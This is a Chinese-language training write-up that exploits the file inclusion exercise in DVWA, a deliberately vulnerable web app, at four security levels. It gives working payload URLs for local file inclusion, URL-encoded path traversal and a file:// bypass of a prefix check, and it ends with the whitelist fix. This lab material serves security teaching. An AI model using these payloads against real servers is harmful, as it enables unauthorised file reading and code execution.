File Inclusion,意思是文件包含(漏洞),是指當服務器開啓llow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。
文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因爲開啓了php配置中的allow_url_fopen選項(選項開啓之後,服務器允許包含一個遠程的文件)。
如果打開File Inclusion,出現下面的信息,這需要修改配置文件
找到php.ini中的allow_url_include,如果原來爲off,設置爲On。
重新啓動服務,再次打開,顯示如下,則爲正常狀態。
1、Low 低級別
查看源代碼
可以看到沒有對頁面提交的文件做任何過濾檢查,url爲http://192.168.92.129/DVWA/vulnerabilities/fi/?page=file1.php
服務器期望用戶的操作是點擊下面的三個鏈接,服務器會包含相應的文件,並將結果返回。需要特別說明的是,服務器包含文件時,不管文件後綴是否是php,都會嘗試當做php文件執行,如果文件內容確爲php,則會正常執行並返回結果,如果不是,則會原封不動地打印文件內容,所以文件包含漏洞常常會導致任意文件讀取與任意命令執行。
漏洞利用
本地文件包含
構造http://192.168.92.129/DVWA/vulnerabilities/fi/?page=/etc/hack
沒有顯示任何信息,說明服務器操作系統不是Linux。
首先構造一個php1.php文件,內容如下,顯示php網站的相關信息,把該文件放在phpstudy的www路徑下。(在實際滲透測試中,可以通過先進行文件上傳滲透,上傳腳本文件成功後,再進行文件包含滲透)
<?php echo phpinfo();?>
構造URL,文件參數設置爲相對路徑
顯示出相關信息
當然如果知道絕對路徑,也可以。
http://192.168.92.129/DVWA/vulnerabilities/fi/?page=c:\phpstudy_pro\WWW\DVWA\php1.php
2、Medium中級別
查看源代碼如下
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到要經過兩次替換,第一次把搜索到的http://和https://替換爲空字符串,第二次是把../和..\ "替換爲空字符(..\"可能是作者搞錯,應該爲..\,否則Low等級的payload照常執行,是否替換爲..)
使用str_replace函數是及其不安全的,因爲可以使用雙寫繞過替換規則。
漏洞利用
使用絕對路徑
http://192.168.92.129/DVWA/vulnerabilities/fi/?page=c:\phpstudy_pro\WWW\DVWA\php1.php
沒有替換,所以照常可以得到php信息。
使用相對路徑,可以使用url編碼(通過在線URL編碼)對page的參數值進行編碼
http://192.168.92.129/DVWA/vulnerabilities/fi/?page=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cphpstudy_pro%5CWWW%5CDVWA%5Cphp1.php
可以照常獲取信息,因爲上面參數中也不會發生替換。
3、High 高級別
查看源代碼
vulnerabilities/fi/source/high.php
<?php |
分析:
可以看到,High級別的代碼使用了fnmatch函數檢查page參數,page參數的開頭必須是file,服務器纔會去接收相應的文件參數。
漏洞利用
High級別的代碼規定只能包含file開頭的文件,看似安全,不幸的是我們依然可以利用file協議繞過防護策略。file協議其實我們並不陌生,當我們用瀏覽器打開一個本地文件時,用的就是file協議,如下圖
例如,我們查看G盤下的11.log,使用瀏覽器或資源管理器可以打開下面文件。file:///G:/11.log
所以我們可以這樣構造payload
http://192.168.92.129/DVWA/vulnerabilities/fi/?page=file:///c:/phpstudy_pro/WWW/DVWA/php1.php
仍然可以看到看到了php相關信息。
4、Impossible 不可能級別
查看源代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
分析:
可以看到,Impossible級別的代碼使用了白名單機制進行防護,簡單粗暴,page參數必須“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了文件包含漏洞。
-------------------------------------------------------------------------------
關注安全 關注作者